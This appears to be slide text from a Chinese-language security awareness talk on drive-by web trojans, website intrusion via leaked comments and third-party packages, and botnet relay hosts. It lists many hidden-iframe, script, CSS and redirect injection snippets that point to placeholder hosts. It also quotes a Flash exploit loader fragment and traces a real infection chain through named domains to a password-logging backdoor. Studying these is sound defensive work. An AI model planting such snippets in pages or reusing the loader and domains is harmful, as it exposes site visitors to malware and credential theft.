
網路入侵攻擊實錄
中小馬、被掛馬、潘朵拉

no-name



大綱

• 瀏覽網站中小馬---使用者
• 網站被掛馬畫面(未公布資訊)

• 中木馬- 天知 地知 就是我不知

• 看網站有那麼嚴重嗎?(Blog_Clickjacking&影音網馬)

• 網站入侵掛馬實錄---伺服器
• 網站洩露多少重要資訊！

• 使用開發套件網站安全嗎？

• 網站入侵實戰！(入侵網站後台系統)

• 躲在後面的神密客 ---駭客Botnet
• Botnet 掛馬跳板主機

• 入侵Botnet主機(Botnet主機入侵過程手法)

• 打開潘朵拉的盒子(Botnet主機資訊)



使用者
個資

網站
伺服器

Botnet
駭客

No-name

被植入後門程
式側錄密碼

被當成散播木
馬平台 殭屍主機!!

(駭客分身術)



瀏覽網站中小馬

•網站被掛馬畫面(未公布資訊)

•中木馬- 天知 地知 就是我不知

•看網站有那麼嚴重嗎?(Blog_Clickjacking&影音網馬)



受駭網站名單

被公告的受駭網站在上面，那沒有被公告的網站呢????





中木馬- 天知 地知 就是我不知

使用者

Internet

F/W

資料庫網站伺服器 檔案

駭客

Port:80

瀏覽資訊、網拍
登入帳號

找尋漏洞、入侵
掛馬

<script src= http://%77%76%67%33%2E%63%6E></script>

使用者點選網馬過程完全沒有感覺!!即受駭下載木馬



常見網頁掛馬語法

 Iframe的網馬：

<iframe src=http://XX.XX.XX.XX width=0 height=0></iframe>

 JScript 的網馬：設計 xxx.js檔案程式如下: 然後將此檔案利用任何方式上傳至目標主機

document.write("<iframe width='0' height='0' src=' http://XX.XX.XX.XX 
'></iframe>");

 JScript 掛馬的語法為：

<script language=javascript src=xxx.js></script>

 JScript 變型加密的網馬：

<SCRIPT language=“JScript.Encode”

src=http://XX.XX.XX.XX/muma.txt></script>

muma.txt 可改成任何附檔名

 body 的網馬：

<body onload="window.location=' http://XX.XX.XX.XX ';"></body>

 隱藏的網馬：

top.document.body.innerHTML = top.document.body.innerHTML + 
'\r\n<iframe

src="http://XX.XX.XX.XX/muma.htm/"></iframe>';



常見網頁掛馬語法(cont.)

 CSS 的網馬：先將製作好的muma.js 先利用各種方式上傳至目標處。

body {

background-image: url('javascript:document.write("<script

src=http://XX.XX.XX.XX/muma.js></script>")')}

 JAVA 的網馬：

<SCRIPT language=javascript>

window.open 
("http://XX.XX.XX.XX","","toolbar=no,location=no,directories=no,status=no,
menubar=no,scro

llbars=no,width=1,height=1");

</script>

 圖片偽裝網馬：

<html>

<iframe src=" http://XX.XX.XX.XX " height=0 width=0></iframe>

<img src=" http://XX.XX.XX.XX/1.jpg">

</html>

 編碼轉換網馬： ascii編碼轉換

<script src= http://%77%76%67%33%2E%63%6E></script>



常見網頁掛馬語法(cont.)

 偽裝呼叫網馬：
<frameset rows="444,0" cols="*">
<frame src="開啟的網頁" framborder="no" scrolling="auto" noresize
marginwidth="0"margingheight="0">
<frame src=" http://XX.XX.XX.XX " frameborder="no" scrolling="no" 
noresize marginwidth="0"margingheight="0">
</frameset>

 欺騙超連結網址手法：
<a href="http://www.XYZ.com(迷惑他人超連結網址，故意顯示這個網址卻連向木馬

網址)"
onMouseOver="www_163_com(); return true;"> 網頁要顯示的內容</a>
<SCRIPT Language="JavaScript">
function www_XYZ_com ()
{
var url="真正連的網頁木馬網址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,me
nubar=no,scrollbars=no,r
esizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>



閃很大的 Flash 網馬



閃很大的 Flash 網馬(續)

 GG.SWF源碼(片段)
try{var l;
var Flashver = (new 
ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVari
able("$version");}
catch(l){};
finally{if(l!="[object Error]"){
if(Flashver.indexOf("9,0,16,")>0||Flashver.indexOf("9,0,28,")
>0||Flashver.indexOf("9,0,45,")>0||Flashver.indexOf("9,0,47,
")>0||Flashver.indexOf("9,0,64,")>0||Flashver.indexOf("9,0,1
15,")>0){
document.write('<iframe style=display:none 
src="http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+'"
></iframe>');}
}}



閃很大的 Flash 網馬(續)

OFFICE_0DAY

最後的大頭目
惡意程式



User

帳號密碼

有心人事



看網站有那麼嚴重嗎?

1.BlogClickjacking
2.影音網馬



網站入侵掛馬實錄

•網站洩露多少重要資訊！

•使用開發套件網站安全嗎？

•網站入侵實戰！(入侵網站後台系統)



網站洩露多少重要資訊！

 網站上存在資訊，惡意有心收集資訊，可以得知網
站上相關訊息，並進一步可以入侵系統。

 攻擊方式是利用開發人員所留下來的訊息 或程式中
開發人員為了管理方便寫入注解息訊進行攻擊入侵
系統。



入侵環境條件

 可讓使用者在網站上找尋到相關資訊如註解、程式結構、網
站結構、參數名稱、變數名稱、對應實際路經等資訊。

網站上提供資訊



入侵手法分析

 遠端惡意使用者可透過正常之網頁瀏覽之行為，
收集網站相關公開資訊進而判斷網站結構、程式
撰寫邏輯進而分析網站漏洞入侵網站。

 網站提供注解資訊範例:



入侵攻擊流程

Internet

駭客

駭客正常瀏覽網站，從網站上公開
資訊，得知網站開發資訊。

第一步

第二步

第三步

網站上相關資訊，
注解、網站原始
碼、檔案存取路
徑等



入侵攻擊流程(cont.)

駭客

研究分析所得
網站資訊

駭客可從資訊中進行研究分析，並
可得知網站整體架構、資料庫存放
路徑、程式開發來源等資訊，進而
進行入侵網站。

第一步

第二步

網站上相關資訊，注
解、網站原始碼、檔
案存取路徑等



使用開發套件網站安全嗎？

 網路套件即已經開發好的元件，提供開發者免費使
用。

 攻擊方式是利用網路套件存在開發的漏洞(0_day)，
或程式中開發人員為了管理方便寫入程式進行攻擊
入侵系統。

 網路套件主要是開發者可能自己方便寫入後台管理
程式，或是開發安全性設計不當進入有許多的安全
性漏洞。



入侵環境條件

 網路購買套件或是免費下載套件原始碼，並非自行
開發之程式，而是大家都可以取得的原始碼。

網路上提供程式開發者研究套件原始碼



入侵手法分析

 惡意遠端使用者可以從網站提供訊息，了解網站
上存有那種套件資訊，進一步了解網站組成結構，
並可到網路搜尋套件資訊，下載其套件進行分析
(0_day)找尋出可能入侵的漏洞。

 網站提供套件資訊範例:

注:以上範例可以了解此網站是 Discuz! 所架構套件



入侵攻擊流程

Internet

駭客

駭客正常瀏覽網站，從網站上公開
資訊，得知網站所使用那些套件。

第一步

第二步

第三步 第四步



入侵攻擊流程(cont.)

駭客

研究分析套件
程式開發漏洞
(0_Day)、程
式存在後門

駭客下載原始套件進行研究分析，
並可從套件中得知網站整體架構、
資料庫存放路徑、程式中尚未修補
漏洞、開發者留存後門指令等。第一步

第二步

第三步 第四步





網站入侵實戰！

1.入侵網站系統
2.套件入侵系統



躲在後面的神密客

•Botnet 掛馬跳板主機

•入侵Botnet主機(Botnet主機入侵過程手法)

•打開潘朵拉的盒子(Botnet主機資訊)



Botnet 掛馬跳板主機

<script src= http://%77%76%67%33%2E%63%6E></script>



Botnet 掛馬跳板主機 (cont.)

下載xxxo1.cn檔案



Botnet 掛馬跳板主機 (cont.)

1. <script src= 

http://%77%76%67%33%2E%63

%6E></script>

2.轉換<script src= 

http://wvg3.cn></script>

3.實際下載Botnet位置
http://xxxo1.cn/a/a7.htm



Botnet 掛馬跳板主機 (cont.)

實際下載Botnet位置
http://xxxo1.cn/a/a7.htm

最終目的下載
http://xin89221.com/love/windoss

.css

http://xxxo1.cn/a/a7.htm
http://xin89221.com/love/windoss.css
http://xin89221.com/love/windoss.css


Botnet 掛馬跳板主機 (cont.)

 網頁被插入網馬連結代碼：
<script src=http://%77%76%67%33%2E%63%6E></script>
掛馬分析：
[body]http://bac.angie.cn/index.php
[Jscript]http://%6d%62%72%32%2e%63%6e
[iframe]http://xxxo1.cn/a/a7.htm
[iframe]http://xxxo1.cn/a/cnzz.htm
[iframe]http://xxxo1.cn/a/kk.htm
[iframe]http://xxxo1.cn/a/flash.htm
[iframe]http://xxxo1.cn/a/xx.htm
[iframe]http://xxxo1.cn/a/office.htm
[iframe]http://xxxo1.cn/a/02.htm
[Jscript]http://xxxo1.cn/a/reee.js
[Jscript]http://xxxo1.cn/a/rkkk.js
[Jscript]http://js.tongji.cn.yahoo.com/1081870/ystat.js
[Jscript]http://s23.cnzz.com/stat.php?id=1408290&web_id=1408290
最終目的下載檔案：
http://xin89221.com/love/windoss.css
透過執行上例程式，來達到完全控制的目的。(豬流感H1N1病毒)

http://xin89221.com/love/windoss.css


Botnet 掛馬跳板主機 (cont.)

 windoss.css 內會下載aa35.exe後門程式。

 執行是偽裝svchost.exe程式

 並會開啟port 1090使用側錄帳號密碼。






